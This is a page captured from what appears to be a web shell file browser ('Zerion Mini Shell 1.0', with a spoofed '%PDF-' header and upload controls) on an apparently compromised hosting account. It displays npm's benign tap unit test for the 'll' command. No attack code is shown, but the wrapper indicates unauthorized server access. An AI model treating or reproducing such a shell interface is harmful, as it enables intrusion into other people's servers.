%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/npm/test/lib/commands/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/npm/test/lib/commands/ll.js

const t = require('tap')
const tmock = require('../../fixtures/tmock')

t.test('ll', t => {
  t.plan(3)

  class LS {
    constructor (npm) {
      this.npm = npm
    }

    async exec (args) {
      t.same(args, ['pkg'], 'should forward args')
    }
  }

  const LL = tmock(t, '{LIB}/commands/ll.js', {
    '{LIB}/commands/ls.js': LS,
  })
  const ll = new LL({
    config: {
      set: (key, value) => {
        t.equal(key, 'long', 'should set long config value')
        t.equal(value, true, 'should set a truthy value')
      },
    },
  })

  ll.exec(['pkg'], err => {
    if (err) {
      throw err
    }
  })
})

Zerion Mini Shell 1.0